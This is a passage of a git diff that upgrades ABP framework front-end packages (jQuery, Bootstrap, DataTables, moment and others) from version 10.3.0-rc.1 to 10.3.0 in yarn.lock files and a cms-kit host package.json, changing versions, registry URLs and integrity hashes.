- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
+ integrity sha512-iNehxiqWJQl2wwE9EbsQANPv/ITMh0yUcPATUlG/McoLWdpPcqobx75NxXcHDqW8ZarecqSktjJDZPvaUaD+jA==
dependencies:
just-compare "^2.3.0"
diff --git a/modules/cms-kit/host/Volo.CmsKit.Web.Host/package.json b/modules/cms-kit/host/Volo.CmsKit.Web.Host/package.json
index a442008f3f..abb49011d8 100644
--- a/modules/cms-kit/host/Volo.CmsKit.Web.Host/package.json
+++ b/modules/cms-kit/host/Volo.CmsKit.Web.Host/package.json
@@ -1,8 +1,8 @@
{
- "version": "1.0.0",
- "name": "my-app",
- "private": true,
- "dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0-rc.1"
- }
+ "version": "1.0.0",
+ "name": "my-app",
+ "private": true,
+ "dependencies": {
+ "@abp/aspnetcore.mvc.ui.theme.basic": "~10.3.0"
+ }
}
diff --git a/modules/cms-kit/host/Volo.CmsKit.Web.Host/yarn.lock b/modules/cms-kit/host/Volo.CmsKit.Web.Host/yarn.lock
index 6d0049cf6a..2e8f03c042 100644
--- a/modules/cms-kit/host/Volo.CmsKit.Web.Host/yarn.lock
+++ b/modules/cms-kit/host/Volo.CmsKit.Web.Host/yarn.lock
@@ -2,186 +2,186 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0-rc.1.tgz#82f61b5d112c8cbc5c74077809d84525edc1200a"
- integrity sha512-eo4ubQfc6zT2/uTKM7U7XS6vExSKsg2szfvybFuBWJjmgb1ybfU2dKDXK4OfLdt0/wUBqBlEKDNK6NWZTfiovQ==
+"@abp/aspnetcore.mvc.ui.theme.basic@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.basic/-/aspnetcore.mvc.ui.theme.basic-10.3.0.tgz#bf48e8fa571067d15bc19bdd3f13509acf58f9c7"
+ integrity sha512-t9pHqrXaCDYcsdrz0VPKT28ujnnU+EVxyVDogQSRRpKsDoLhNcOD8NI3swdAWBQZ46YSCDfeDR+gfwjC3yqpXQ==
dependencies:
- "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared" "~10.3.0"
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0-rc.1.tgz#58586e2333116ef840c3abd44bb2b54f944c92b1"
- integrity sha512-PEXWi22YfOBdbxCUfLkEAVL45DCxzDbNALFLfsCK3LPvXuL5Pw0YU0CrezAW54+1tzPpbWh1HLyEyaUAINz6Wg==
+"@abp/bootstrap-datepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-datepicker/-/bootstrap-datepicker-10.3.0.tgz#032aaf0e474f971b9f90ca7fb83ff7ca4d7be933"
+ integrity sha512-7mRuRRIE4R0yw1cZuoIskgrqZPUa5/SJzse0K6u+/QDqvyLjjOsyE51WuqAXxlVfKpLp/fBvXZwnCDeCRU9iZQ==
dependencies:
bootstrap-datepicker "^1.10.1"
-"@abp/bootstrap-daterangepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0-rc.1.tgz#088b96754014b3c7a8884689574c2332cd5c292e"
- integrity sha512-uZRh/Eh/3nyFe4KfMLRMud5LmUs2JFKSeA4KeRliGe1PD68E6NizP/ZiNzkYFP2K2p0nNUQrqmSe7ZFHVELN4A==
+"@abp/bootstrap-daterangepicker@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap-daterangepicker/-/bootstrap-daterangepicker-10.3.0.tgz#b2a9171595ee311c32f57460013870cde67c6b7f"
+ integrity sha512-ejLu3sWhfNDlsXeUXAQudZvPv0xM4McxIK65vuVEZiKIwFSnrLYil8jBi12EJJmAw5yYA/KC0EdyG82E+AWpmA==
dependencies:
- "@abp/moment" "~10.3.0-rc.1"
+ "@abp/moment" "~10.3.0"
bootstrap-daterangepicker "^3.1.0"
-"@abp/bootstrap@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0-rc.1.tgz#fc1ccf88e689af336fec9c76d367bcaf66253961"
- integrity sha512-vdhaz3ccmIflmufhNiQE/8I2RZdSSv3V4sbA2NC24csx8xl4J/R2JFhTyTLixpxOR+/p1cWw1F2oMYVzjV0+eg==
+"@abp/bootstrap@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/bootstrap/-/bootstrap-10.3.0.tgz#23535c90613271b02fdad3eae1556b67844729e6"
+ integrity sha512-JnVOeJUyR78oo+QURvaNqa9xGZaVux0PRIpFpd4Qsqiiz9FvJrbCuSoBkkZoj/0eH23WoZ3bJxy0K9LDE19qvg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
- "@abp/popper.js" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
+ "@abp/popper.js" "~10.3.0"
bootstrap "^5.3.8"
-"@abp/core@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0-rc.1.tgz#68f85db8219e3a2618a60cf82933bc52a2d1ec49"
- integrity sha512-tOl/yDSPqRaHbENFVYcjqkdKGM4Qhjd/QPushVaH57pxalmv6canhiWAa0x7W31qxdY9od48H7MYoJx61jURhw==
+"@abp/core@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/core/-/core-10.3.0.tgz#9960f8179d1fdc42250d0bbba60e379590c8199c"
+ integrity sha512-DpL4qrsyCUolypUwxKVDDK8bPVhNbYKx6l2ytUjoOu73CwgPoCSGkvHWrmKIsEsmTfOC9J7+GDErh8jWR/5pVA==
dependencies:
- "@abp/utils" "~10.3.0-rc.1"
+ "@abp/utils" "~10.3.0"
-"@abp/datatables.net-bs5@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0-rc.1.tgz#55e8dde9024c51ccb70fe5b640bbb434fff2e00d"
- integrity sha512-d6vFlrNgS6MIpXi2EcZjGFbFbCl5I5hzM49NxQeB3hyG7gUElFsEJkf66UcO8PN/56Uo+sFe/rCdrcvyLLDHmg==
+"@abp/datatables.net-bs5@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net-bs5/-/datatables.net-bs5-10.3.0.tgz#d8711c52f7c03df51d14d1a5f0e6b00f6d9551fc"
+ integrity sha512-I8rEU98kEhsNZjVdpPvOcG6F4xr1CgIRb0bTf5bfd8ufzxEUKB+xF9bguJIB5kYwjme8QbMlcJ0V/c+N4iewtQ==
dependencies:
- "@abp/datatables.net" "~10.3.0-rc.1"
+ "@abp/datatables.net" "~10.3.0"
datatables.net-bs5 "^2.3.4"
-"@abp/datatables.net@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0-rc.1.tgz#8e275f31d8b24b098c6acc3ec1de7ef2fe587e73"
- integrity sha512-m57imr9KOkasgDCIFaIgoDqFDhS71wzClE2WCk+Uk7qHLRgRMa7CYRHh5xeck4hgPWq9DEmAZS0ogbHxLgkLKQ==
+"@abp/datatables.net@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/datatables.net/-/datatables.net-10.3.0.tgz#f98319d8e226da5aced4d1d94d3ababb11327074"
+ integrity sha512-imM25WmO1V0hqeG5iPeLvYMID2HX7SG9drz47qilr74MhpY2i2J7HlsvZDonNkjpxzhK4DHpGeQd6mE2QzG7Hw==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
datatables.net "^2.3.4"
-"@abp/font-awesome@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0-rc.1.tgz#e9d4a1b36652773509259440b77b804af18c5364"
- integrity sha512-8zvZh7lbPlvH0/SKYtUeQF+ezKSoohwFxzFhOJ88GOdtwp620mBCwYEHjZA64e/Xjk6Oda2VrdNJ318IvgjIvA==
+"@abp/font-awesome@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/font-awesome/-/font-awesome-10.3.0.tgz#43602605f5633132cc6fe21b6ce5ab19b86bdf27"
+ integrity sha512-RUOVHxDyT81hp01DhUuSshKvLM+NiTt9VP+O4/rSj+SOaSJAm3wX7eziCKrDi6H41FwhoZL75CifLhcZVyVO4A==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@fortawesome/fontawesome-free" "^7.0.1"
-"@abp/jquery-validation-unobtrusive@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0-rc.1.tgz#b547557e85838afcc783ef3d502c2da3a31f4a63"
- integrity sha512-NU00gPTHDF2HTnsHaZKAp17DTgAHUCz1fwuXRq4f7Ke5Q9HwiJx2IpIFaeR49xe9XRg1d9iRbNKFkMycjX7rEg==
+"@abp/jquery-validation-unobtrusive@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation-unobtrusive/-/jquery-validation-unobtrusive-10.3.0.tgz#5bc14ed642d48f9eae54761ad39bd9f51beeb005"
+ integrity sha512-j/9fA7tAs1/t3P2U1kKUiDlHAImmseul6KzvV77sNpnms7g4+x6Fgsa+sMzicSRGOLz7lK5RHdBFyvfKxt7/nA==
dependencies:
- "@abp/jquery-validation" "~10.3.0-rc.1"
+ "@abp/jquery-validation" "~10.3.0"
jquery-validation-unobtrusive "^4.0.0"
-"@abp/jquery-validation@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0-rc.1.tgz#c4ab1a0692c1d224c5f60ffc4cb25545a7024c31"
- integrity sha512-JaUhEbhKFB1DPFe+xTeIqTvN3YgFm7gdlpqMxN9Q5k0mnecQHlNmXbmC0oDa+CyxZDvMjWOrSMrJw/8yL4moQQ==
+"@abp/jquery-validation@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery-validation/-/jquery-validation-10.3.0.tgz#e669a54d28f6c0b863a284322e527a5c65cb7dbf"
+ integrity sha512-Wo95ZJLS1ScKm7dm3zFlEFUKqXrqo3m9+82DX5mFJUVCHHuBPrhxvDjxNJ18z4gpoOUu08uqxX7LFbphtkRM3g==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
jquery-validation "^1.21.0"
-"@abp/jquery@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0-rc.1.tgz#bc8d3a468483165f8d35cbfa5e91621c2fa53c8f"
- integrity sha512-tCZsi5U3oWZOazxRuqrEPyE85jZ4D71IfSrT9/Brf1wAELyrttt5ke3P57yQqjBevbfSqW652Wxca/w2GidQcg==
+"@abp/jquery@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/jquery/-/jquery-10.3.0.tgz#3b60bcdfe8f9a33be79db1bea2500837fe09c67d"
+ integrity sha512-TndX/8bJx5vGAAwIykx2CJUZIFFDkwpD+cUjE45WO2dSrY2M5vNfWiuw95OcLGngO8RaT/gTkFGzPuZqKn9ggg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
jquery "~3.7.1"
-"@abp/lodash@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0-rc.1.tgz#7bdf8038f28a822dfc12f0bfa9b7d81f13e16d99"
- integrity sha512-tlev/kkQ3Q+OC7BT1ZJ+TThIbVQ3CZ+mtEujLt6zHVIxx8tukbYmmDMpltrmOL2kGnQeDdMqFcQoNJAAYOju+A==
+"@abp/lodash@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/lodash/-/lodash-10.3.0.tgz#bd091fc811d85d2f535802631af6165ac1c8a198"
+ integrity sha512-7JDU9UlbD+9odhFQjolvyJZ6EQKG5kiL2Pt9T1RMVchNh47iEuZwfi8c+CIxa3YxA3n6lAsZ+8Pmxq4yOku+RQ==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
lodash "^4.17.21"
-"@abp/luxon@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0-rc.1.tgz#e13db7cade7761964e9820315e43bac182f80784"
- integrity sha512-FB42gIKvfDJBu2vFZDBFVL6bn9jZpDpKdt5Kkp4OKQak9NHVyNuzH+R95Hr99vB+KELyTwW7hihc6Kl2oCrwWQ==
+"@abp/luxon@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/luxon/-/luxon-10.3.0.tgz#acbd92289456a546607ed4506dc36f71e6da53c9"
+ integrity sha512-IIi2+odQzuFK4qV1KJ2HtlTewSPby2F9CJFNNtNRMzX/P30dQkAGWpNV5/FZzJwFIihR+zSei5wlu11WpPugsw==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
luxon "^3.7.2"
-"@abp/malihu-custom-scrollbar-plugin@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0-rc.1.tgz#1af6ebce0553c368d884752efcaef6cceaeb806c"
- integrity sha512-+BYN/3DhhtI7tS4nv4BpdsPiQLEVrLQ0KgawGRr1h3SV/nz1dtBTBgTbKvy/4bDHoMSKA1dPfudxi6XjgwUoBA==
+"@abp/malihu-custom-scrollbar-plugin@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/malihu-custom-scrollbar-plugin/-/malihu-custom-scrollbar-plugin-10.3.0.tgz#209931d02a994ef448371d6203e9ec74c72b61e6"
+ integrity sha512-hJjwEExP3hKE1MNDG+pcvoHRFUihh3t/0wCPNaoePFd8+QnJuyQ9U0VA+vdtykTxm8uFNE2uaCgyHffoHmzeZA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
malihu-custom-scrollbar-plugin "^3.1.5"
-"@abp/moment@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0-rc.1.tgz#82229c44e7b1417c872edec53ed3f51d06bf7e8b"
- integrity sha512-hKQ8VE25Wqo1mj/ks8qw39ONLQK5sV33xc0bfYHTk0+NVAholAPZF7gjqiDzaAWXzVBVJjemH554AM3y14VNAA==
+"@abp/moment@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/moment/-/moment-10.3.0.tgz#5a5c4ece14d1bc4dd33134f85d1d085733d3c975"
+ integrity sha512-8DKw2jgC/28nLrB/CR9BiyUSt0pUmWF+bEgAsduln6VrSCHn0aRLqgs+wi/9Ol+1bl7pO2wbJOYg1qbnkDhrAQ==
dependencies:
moment "^2.30.1"
-"@abp/popper.js@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0-rc.1.tgz#3d758e25e7b09210542e4da06558cd5a1b710b45"
- integrity sha512-3PKJpwzTYAQ6UJFe3u9bn1qKRjXwmILlR9umyH998bfJLr0Zl04rBfcbIL9/l3S01qlCMt2bwjre0+wpRl+/OA==
+"@abp/popper.js@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/popper.js/-/popper.js-10.3.0.tgz#cb2415e45a905854980f4e864c00c8fe1156a6f9"
+ integrity sha512-Yfafs50t7DKnShxAl9WPpihZxG5cLAt99rJmIyXBYUQIpkHkxDyUIA5b4gCoVCqKgjFDOxG7i6L+Ovd/2N8k7g==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
"@popperjs/core" "^2.11.8"
-"@abp/select2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0-rc.1.tgz#5292066ccf962ad92058d946b267d413c4876c40"
- integrity sha512-gAJaAuLoHaOhkdDwS2F3ZH3CR//8EClkEWDde2AcYS+W2AY9/4g9kAMUOD5IrkrrYvJ+DDa9u426Ds8n8s/B9g==
+"@abp/select2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/select2/-/select2-10.3.0.tgz#199777173ca3e43a5448f8b51b30c3aafe4a3333"
+ integrity sha512-6sEIYIakVI1DM3eOqOaxwdG8vkyVFBWvVZhoChPZkgIIQ0EH2JLerHv0pePJEl6mQSxOUrikPA8++B2y+sBnQA==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
select2 "^4.0.13"
-"@abp/sweetalert2@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0-rc.1.tgz#a344674f14b21f430a820805bc36768a6dde1f58"
- integrity sha512-UV3nSA3LdgygFr1ruFZRU1PVan455NMFILisXKRYVu9QwweFInmnliR6FmcDlTmPFW7RCLBk+lC9UblEcDthUA==
+"@abp/sweetalert2@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/sweetalert2/-/sweetalert2-10.3.0.tgz#515e0477574b54bc6650b9f5ee193bfc648c715a"
+ integrity sha512-bY5MXEiKja+vk71ujSn8rpzRC45Ge8zvcca1k1vBJs+oKyRCii//JBxa3H0lagZo5r/QwIqv5ihdyLE1xsuLSg==
dependencies:
- "@abp/core" "~10.3.0-rc.1"
+ "@abp/core" "~10.3.0"
sweetalert2 "^11.23.0"
-"@abp/timeago@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0-rc.1.tgz#f0e476b65f19fd986c06231a331fdb4050d1a6c6"
- integrity sha512-ydBvTJ73BrV7A69vtWRzw//JmrLu6r4ow8J3GZy8vEuH9vlBWe1JHcPK6lOD3DDM+K6Jag5/31RL45ZuSSxcvQ==
+"@abp/timeago@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/timeago/-/timeago-10.3.0.tgz#3214a6d000c79504c9fa7cb4e004a967fe46459b"
+ integrity sha512-Rgcex+jvM9Z9/E0I5Q3wlC2bY5550/+6xRX407k5ho4gxCccYo3c0Gkpiy5pJRFhTwtBgcNzYxArh6NCez+tDg==
dependencies:
- "@abp/jquery" "~10.3.0-rc.1"
+ "@abp/jquery" "~10.3.0"
timeago "^1.6.7"
-"@abp/utils@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0-rc.1.tgz#b6e20d357b87a009ffef3e11a0e7cc3a887d461f"
- integrity sha512-tBcywC3T2ZUKS6znm1lCd+jP0peZolYyxjs1F7wyyH/y+Y08NYtGgLG/A8EaIv7iDY2K4WExzvWjTHB4lE1mFA==
+"@abp/utils@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/utils/-/utils-10.3.0.tgz#d88c0d639d69d6210c3070892aac61d5e945c124"
